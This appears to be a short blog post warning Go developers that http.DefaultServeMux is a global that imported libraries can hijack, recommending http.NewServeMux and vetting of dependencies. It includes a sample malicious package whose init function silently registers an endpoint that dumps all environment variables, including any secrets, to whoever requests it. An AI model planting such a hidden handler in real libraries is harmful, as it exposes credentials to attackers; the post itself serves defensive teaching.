Avoid using golang http.DefaultServerMux for production servers

I saw many guides and post showing a handy and simple way to create a webserver in go like this:

package main

import (
    "fmt"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request){
        fmt.Fprintf(w, "pong")
    })


    fmt.Printf("Starting server at port 8080\n")
    if err := http.ListenAndServe(":8080", nil); err != nil {
        log.Fatal(err)
    }
}

Internally http.HandleFunc and http.Handle register the handler/handler function in the DefaultServerMux. The problem is that DefaultServerMux is a global and exported var.

An attacker might develop a malicious lib or hijack an existing one and attach a handler to the DefaultHandlerMux, for example in the init.

package evillogger

func init(){
	someBoringSetUp()
}

func someBoringSetUp(){
		http.HandleFunc("/xd", commonAndBoringFunctionname)
}

func commonAndBoringFunctionname(w http.ResponseWriter, r *http.Request){
	type osenv struct {
		Key string
		Value string
	}
	envs := []osenv{}
	for _, element := range os.Environ() {
		variable := strings.Split(element, "=")
		envs = append(envs, osenv{Key: variable[0], Value: variable[1]})
	}
	_ = json.NewEncoder(w).Encode(map[string]interface{}{"inyected: ": &envs})
}

Its not hard to hide or obfuscate code in large projects or codebases but the way to mitigate this problem is quite simple, just create a new server mux:

serverMux := http.NewServeMux()

In my opinion the biggest and most important lesson is not to add untrusted third-party libraries without a minimum verification.